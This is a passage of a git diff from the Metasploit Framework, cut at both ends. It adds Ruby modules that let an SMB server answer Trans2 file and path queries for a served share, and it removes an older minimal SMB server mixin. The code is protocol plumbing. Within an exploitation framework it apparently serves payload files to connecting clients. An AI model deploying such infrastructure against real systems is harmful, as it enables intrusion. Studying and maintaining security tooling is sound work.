pkt['Payload'].v['Payload'] = data + + if andx_command + full_pkt = pkt.to_s + andx_command.to_s + original_length = full_pkt[2, 2].unpack('n')[0] + original_length = original_length + andx_command.to_s.length + full_pkt[2, 2] = [original_length].pack('n') + else + full_pkt = pkt.to_s + end + + c.put(full_pkt) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2.rb new file mode 100644 index 0000000000..5168c4cfe0 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + require 'msf/core/exploit/smb/server/share/command/trans2/find_first2' + require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information' + require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information' + + # Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of + # server-side file system handling. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2(c, buff) + smb = @state[c] + pkt = CONST::SMB_TRANS2_PKT.make_struct + pkt.from_s(buff) + + data_trans2 = CONST::SMB_DATA_TRANS2.make_struct + data_trans2.from_s(pkt['Payload'].v['SetupData']) + + sub_command = data_trans2.v['SubCommand'] + parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding + + case sub_command + when CONST::TRANS2_QUERY_FILE_INFO + return smb_cmd_trans2_query_file_information(c, parameters) + when CONST::TRANS2_QUERY_PATH_INFO + return smb_cmd_trans2_query_path_information(c, parameters) + when CONST::TRANS2_FIND_FIRST2 + return smb_cmd_trans2_find_first2(c, parameters) + else + vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true) + end + end + + # Builds and sends an SMB_COM_TRANSACTION2 response. + # + # @param c [Socket] The client to answer. + # @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response. + # @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_trans2_res(c, parameters, data) + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT + pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length + pkt['Payload'].v['DataCountTotal'] = data.to_s.length + pkt['Payload'].v['ParamCount'] = parameters.to_s.length + pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + pkt['Payload'].v['DataCount'] = data.to_s.length + pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length + pkt['Payload'].v['Payload'] = + parameters.to_s + + data.to_s + + c.put(pkt.to_s) + end + + # Converts the path to ascii from unicode and normalizes. + # + # @param path [String] The path to normalize. + # @return [String] The normalized path. + def normalize_path(path) + normalized = Rex::Text.to_ascii(path).downcase + normalized.gsub!(/[\x00]*/, '') #delete padding + normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars + + normalized + end + + # Expands a path with wildcards, and returns the set of matching files. + # + # @param path [String] the path to expand + # @return [String] The matching file. + # @todo It's a shortcut atm, make complete wildcard handling. + # @todo return an Array of matching files. + def smb_expand(path) + search_path = path.gsub(/<\./, '*.') # manage wildcards + extension = File.extname(file_name) + if search_path =~ /\\\*#{extension}$/ + search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}") + end + + search_path + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb new file mode 100644 index 0000000000..a4e61572b7 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + module FindFirst2 + + # Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a + # directory or for a directory. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_find_first2(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + normalized_path = normalize_path(params.v['FileName']) + search_path = smb_expand(normalized_path) + + case loi + when CONST::SMB_FIND_FILE_NAMES_INFO + return smb_cmd_find_file_names_info(c, search_path) + when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO + return smb_cmd_find_file_both_directory_info(c, search_path) + when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO + return smb_cmd_find_file_full_directory_info(c, search_path) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb new file mode 100644 index 0000000000..9f8b460f53 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb @@ -0,0 +1,42 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + #@todo Check FID and no shortcut assuming the request always come for the valid FID + module QueryFileInformation + + # Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about + # an specific file or directory, using its FID. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_query_file_information(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + fid = params.v['FID'] + + case loi + when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS + return smb_cmd_trans_query_file_info_standard(c, fid) + when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS + return smb_cmd_trans_query_file_info_basic(c, fid) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb new file mode 100644 index 0000000000..a6847e02aa --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb @@ -0,0 +1,43 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + module QueryPathInformation + + # Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about + # an specific file or directory, using its path. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_query_path_information(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + file_name = normalize_path(params.v['FileName']) + + case loi + when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS + return smb_cmd_trans_query_path_info_standard(c, file_name) + when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS + return smb_cmd_trans_query_path_info_basic(c, file_name) + when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO + return smb_cmd_trans_query_path_info_network(c, file_name) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level.rb b/lib/msf/core/exploit/smb/server/share/information_level.rb new file mode 100644 index 0000000000..35efd0e2c1 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + require 'msf/core/exploit/smb/server/share/information_level/find' + require 'msf/core/exploit/smb/server/share/information_level/query' + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level/find.rb b/lib/msf/core/exploit/smb/server/share/information_level/find.rb new file mode 100644 index 0000000000..9537e35432 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level/find.rb @@ -0,0 +1,246 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + module Find + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_both_directory_info(c, path) + + if path && path.include?(file_name.downcase) + data = Rex::Text.to_unicode(file_name) + length = file_contents.length + ea = 0 + alloc = 1048576 # Allocation Size = 1048576 || 1Mb + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + search = 1 + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 0x100 + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 0x100 + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_file_both_directory_info_res(c, { + data: data, + end_of_file: length, + ea_error_offset: ea, + allocation_size: alloc, + file_attributes: attrib, + search_count: search, + search_offset: search + }) + end + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_names_info(c, path) + if path && path.include?(file_name.downcase) + data = Rex::Text.to_unicode(file_name) + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_file_names_info_res(c, { data: data }) + end + + # Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_find_file_full_directory_info(c, path) + + if path && path.include?(file_name.downcase) + data = Rex::Text.to_unicode(file_name) + length = file_contents.length + ea = 0 + alloc = 1048576 # Allocation Size = 1048576 || 1Mb + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File + search = 0x100 + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 1 + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 1 + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) + end + + send_find_full_directory_info_res(c, { + data: data, + end_of_file: length, + ea_error_offset: ea, + allocation_size: alloc, + file_attributes: attrib, + search_count: search, + search_offset: search + }) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :search_count The number of entries returned by the search. + # @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise. + # @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO. + # @option opts [Fixnum] :end_of_file The byte offset to the end of the file. + # @option opts [Fixnum] :allocation_size The file allocation size in bytes. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_file_both_directory_info_res(c, opts = {}) + data = opts[:data] || '' + search_count = opts[:search_count] || 0 + end_of_search = opts[:end_of_search] || 0 + ea_error_offset = opts[:ea_error_offset] || 0 + end_of_file = opts[:end_of_file] || 0 + allocation_size = opts[:allocation_size] || 0 + file_attributes = opts[:file_attributes] || 0 + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = search_count + trans2_params.v['EndOfSearch'] = end_of_search + trans2_params.v['EaErrorOffset'] = ea_error_offset + trans2_params.v['LastNameOffset'] = 0 + + find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['loCreationTime'] = lo + find_file.v['hiCreationTime'] = hi + find_file.v['loLastAccessTime'] = lo + find_file.v['hiLastAccessTime'] = hi + find_file.v['loLastWriteTime'] = lo + find_file.v['hiLastWriteTime'] = hi + find_file.v['loLastChangeTime'] = lo + find_file.v['hiLastChangeTime'] = hi + find_file.v['EndOfFile'] = end_of_file + find_file.v['AllocationSize'] = allocation_size + find_file.v['ExtFileAttributes'] = file_attributes + find_file.v['FileName'] = data + + send_trans2_res(c, trans2_params, find_file) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO + # information level. + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_file_names_info_res(c, opts = {}) + data = opts[:data] || '' + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['FileName'] = data + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = 1 + trans2_params.v['EndOfSearch'] = 1 + trans2_params.v['EaErrorOffset'] = 0 + trans2_params.v['LastNameOffset'] = 0 + + send_trans2_res(c, trans2_params, find_file) + end + + # Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :search_count The number of entries returned by the search. + # @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise. + # @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO. + # @option opts [Fixnum] :end_of_file The byte offset to the end of the file. + # @option opts [Fixnum] :allocation_size The file allocation size in bytes. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @option opts [String] :data The long name of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_find_full_directory_info_res(c, opts = {}) + data = opts[:data] || '' + search_count = opts[:search_count] || 0 + end_of_search = opts[:end_of_search] || 0 + ea_error_offset = opts[:ea_error_offset] || 0 + end_of_file = opts[:end_of_file] || 0 + allocation_size = opts[:allocation_size] || 0 + file_attributes = opts[:file_attributes] || 0 + + find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct + find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length + find_file.v['FileIndex'] = 0 + find_file.v['loCreationTime'] = lo + find_file.v['hiCreationTime'] = hi + find_file.v['loLastAccessTime'] = lo + find_file.v['hiLastAccessTime'] = hi + find_file.v['loLastWriteTime'] = lo + find_file.v['hiLastWriteTime'] = hi + find_file.v['loLastChangeTime'] = lo + find_file.v['hiLastChangeTime'] = hi + find_file.v['EndOfFile'] = end_of_file + find_file.v['AllocationSize'] = allocation_size + find_file.v['ExtFileAttributes'] = file_attributes + find_file.v['FileName'] = data + + trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct + trans2_params.v['SID'] = 0xfffd + trans2_params.v['SearchCount'] = search_count + trans2_params.v['EndOfSearch'] = end_of_search + trans2_params.v['EaErrorOffset'] = ea_error_offset + trans2_params.v['LastNameOffset'] = 0 + + send_trans2_res(c, trans2_params, find_file) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/information_level/query.rb b/lib/msf/core/exploit/smb/server/share/information_level/query.rb new file mode 100644 index 0000000000..726d7306b3 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/information_level/query.rb @@ -0,0 +1,213 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module InformationLevel + module Query + + # Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param fid [Fixnum] The file identifier which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_file_info_basic(c, fid) + smb = @state[c] + + if fid == smb[:file_id].to_i + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_basic_res(c, { file_attributes: attrib }) + end + + # Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param fid [Fixnum] The file identifier which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_file_info_standard(c, fid) + send_info_standard_res(c, { + allocation_size: 1048576, + number_links: 1, + delete_pending: 0, + directory: 0, + end_of_file: file_contents.length + }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_path_info_basic(c, path) + if path && path.ends_with?(file_name.downcase) + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif path && folder_name && path.ends_with?(folder_name.downcase) + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_basic_res(c, { file_attributes: attrib }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_path_info_standard(c, path) + if path && path.include?(file_name.downcase) + attrib = 0 # File attributes => file + elsif path && folder_name && path.ends_with?(folder_name.downcase) + attrib = 1 # File attributes => directory + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path + attrib = 1 # File attributes => directory + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_standard_res(c, { + allocation_size: 1048576, + number_links: 1, + delete_pending: 0, + directory: attrib, + end_of_file: file_contents.length + }) + end + + # Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO + # Information Level. + # + # @param c [Socket] The client sending the request. + # @param path [String] The path which the client is requesting info from. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans_query_path_info_network(c, path) + + if path && path.include?(file_name.downcase) + attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL + elsif path && folder_name && path.ends_with?(folder_name.downcase) + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + else + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_info_network_res(c, { + allocation_size: 1048576, + end_of_file: file_contents.length, + file_attributes: attrib + }) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :file_attributes The extended file attributes of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_basic_res(c, opts = {}) + file_attributes = opts[:file_attributes] || 0 + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + query_path_info.v['loCreationTime'] = lo + query_path_info.v['hiCreationTime'] = hi + query_path_info.v['loLastAccessTime'] = lo + query_path_info.v['hiLastAccessTime'] = hi + query_path_info.v['loLastWriteTime'] = lo + query_path_info.v['hiLastWriteTime'] = hi + query_path_info.v['loLastChangeTime'] = lo + query_path_info.v['hiLastChangeTime'] = hi + query_path_info.v['ExtFileAttributes'] = file_attributes + + send_trans2_res(c, trans2_params, query_path_info) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file. + # @option opts [Fixnum] :number_links The number of hard links to the file. + # @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file. + # @option opts [Fixnum] :directory Indicates whether the file is a directory. + # @option opts [Fixnum] :end_of_file The offset from the start to the end of the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_standard_res(c, opts = {}) + allocation_size = opts[:allocation_size] || 0 + number_links = opts[:number_links] || 0 + delete_pending = opts[:delete_pending] || 0 + directory = opts[:directory] || 0 + end_of_file = opts[:end_of_file] || 0 + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + query_path_info.v['AllocationSize'] = allocation_size + query_path_info.v['EndOfFile'] = end_of_file + query_path_info.v['NumberOfLinks'] = number_links + query_path_info.v['DeletePending'] = delete_pending + query_path_info.v['Directory'] = directory + + send_trans2_res(c, trans2_params, query_path_info) + end + + # Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO + # information level. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file. + # @option opts [Fixnum] :end_of_file The offset from the start to the end of the file. + # @option opts [Fixnum] :file_attributes The file attributes. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_info_network_res(c, opts= {}) + allocation_size = opts[:allocation_size] || 0 + end_of_file = opts[:end_of_file] || 0 + file_attributes = opts[:file_attributes] || 0 + + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct + trans2_params.v['EaErrorOffset'] = 0 + + query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct + query_path_info.v['loCreationTime'] = lo + query_path_info.v['hiCreationTime'] = hi + query_path_info.v['loLastAccessTime'] = lo + query_path_info.v['hiLastAccessTime'] = hi + query_path_info.v['loLastWriteTime'] = lo + query_path_info.v['hiLastWriteTime'] = hi + query_path_info.v['loLastChangeTime'] = lo + query_path_info.v['hiLastChangeTime'] = hi + query_path_info.v['AllocationSize'] = allocation_size + query_path_info.v['EndOfFile'] = end_of_file + query_path_info.v['ExtFileAttributes'] = file_attributes + + send_trans2_res(c, trans2_params, query_path_info) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb_server.rb b/lib/msf/core/exploit/smb_server.rb deleted file mode 100644 index 8b3e81790e..0000000000 --- a/lib/msf/core/exploit/smb_server.rb +++ /dev/null @@ -1,153 +0,0 @@ -# -*- coding: binary -*- - -module Msf - -### -# -# This mixin provides a minimal SMB server -# -### - -module Exploit::Remote::SMBServer - include Exploit::Remote::TcpServer - include Exploit::NTLM - CONST = ::Rex::Proto::SMB::Constants - CRYPT = ::Rex::Proto::SMB::Crypt - UTILS = ::Rex::Proto::SMB::Utils - XCEPT = ::Rex::Proto::SMB::Exceptions - EVADE = ::Rex::Proto::SMB::Evasions - - def initialize(info = {}) - super - - register_options( - [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) - ], self.class) - end - - def setup - super - @state = {} - end - - def on_client_connect(client) - # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") - smb_conn(client) - end - - def on_client_data(client) - # print_status("New data from #{client.peerhost}:#{client.peerport}") - smb_recv(client) - true - end - - def on_client_close(client) - smb_stop(client) - end - - def smb_conn(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} - end - - def smb_stop(c) - @state.delete(c) - end - - def smb_recv(c) - smb = @state[c] - smb[:data] ||= '' - smb[:data] << c.get_once - - while(smb[:data].length > 0) - - return if smb[:data].length < 4 - - plen = smb[:data][2,2].unpack('n')[0] - - return if smb[:data].length < plen+4 - - buff = smb[:data].slice!(0, plen+4) - - pkt_nbs = CONST::NBRAW_PKT.make_struct - pkt_nbs.from_s(buff) - - # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") - - # Check for a NetBIOS name request - if (pkt_nbs.v['Type'] == 0x81) - # Accept any name they happen to send - - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') - - smb[:nbdst] = host_dst - smb[:nbsrc] = host_src - - # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") - c.write("\x82\x00\x00\x00") - next - end - - - # - # TODO: Support AndX parameters - # - - - # Cast this to a generic SMB structure - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - - # Only response to requests, ignore server replies - if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - print_status("Ignoring server response from #{smb[:name]}") - next - end - - cmd = pkt['Payload']['SMB'].v['Command'] - begin - smb_cmd_dispatch(cmd, c, buff) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") - next - end - end - end - - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - print_status("Received command #{cmd} from #{smb[:name]}") - end - - def smb_set_defaults(c, pkt) - smb = @state[c] - pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i - pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i - pkt['Payload']['SMB'].v['TreeID'] 